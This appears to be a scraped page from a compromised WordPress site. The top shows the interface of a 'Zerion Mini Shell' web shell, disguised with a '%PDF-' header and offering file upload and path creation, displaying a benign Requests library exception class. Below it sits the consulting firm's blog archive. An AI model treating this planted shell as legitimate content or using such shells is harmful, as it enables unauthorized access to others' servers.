%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /safe-wp/wp-includes/Requests/src/Exception/
Upload File :
Create Path :
Current File : //safe-wp/wp-includes/Requests/src/Exception/ArgumentCount.php

<?php

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Exception for when an incorrect number of arguments are passed to a method.
 *
 * Typically, this exception is used when all arguments for a method are optional,
 * but certain arguments need to be passed together, i.e. a method which can be called
 * with no arguments or with two arguments, but not with one argument.
 *
 * Along the same lines, this exception is also used if a method expects an array
 * with a certain number of elements and the provided number of elements does not comply.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class ArgumentCount extends Exception {

	/**
	 * Create a new argument count exception with a standardized text.
	 *
	 * @param string $expected The argument count expected as a phrase.
	 *                         For example: `at least 2 arguments` or `exactly 1 argument`.
	 * @param int    $received The actual argument count received.
	 * @param string $type     Exception type.
	 *
	 * @return \WpOrg\Requests\Exception\ArgumentCount
	 */
	public static function create($expected, $received, $type) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s() expects %s, %d given',
				$stack[1]['class'],
				$stack[1]['function'],
				$expected,
				$received
			),
			$type
		);
	}
}

Zerion Mini Shell 1.0
September 2018 - GMH Consulting Group LLC Skip to content

GMH CONSULTING GROUP LLC

  • Home
  • Services
  • Customer Success Stories
  • Contact Us
×
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
  • Home
  • Services
  • Customer Success Stories
  • Contact Us

GMH CONSULTING GROUP LLC

Archive for September 2018

SAP Cloud Integration Platform

By pwsadmin |
A picture of the sap logo on a computer screen.

Browse Projects Accomplished by Our Consulting Team

Read More

Recent Posts

  • Advantages of mRNA Vaccines
  • Digitalization of Vaccines Enabled by S/4 HANA
  • SAP Cloud Integration Platform

Recent Comments

No comments to show.
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhconsultinggroup.com 

 

A logo of the gmh consulting group
SITE LINKS
  • Home
  • Services
  • Customer Success Stories
  • Contact Us
CONNECT WITH US
CONTACT INFORMATION

Phone: (813) 808-5570

Email: gustavohidalgo@gmhcgroup.com

A logo of the gmh consulting group

© 2026 GMH Consulting Group LLC. All Rights Reserved.

Scroll To Top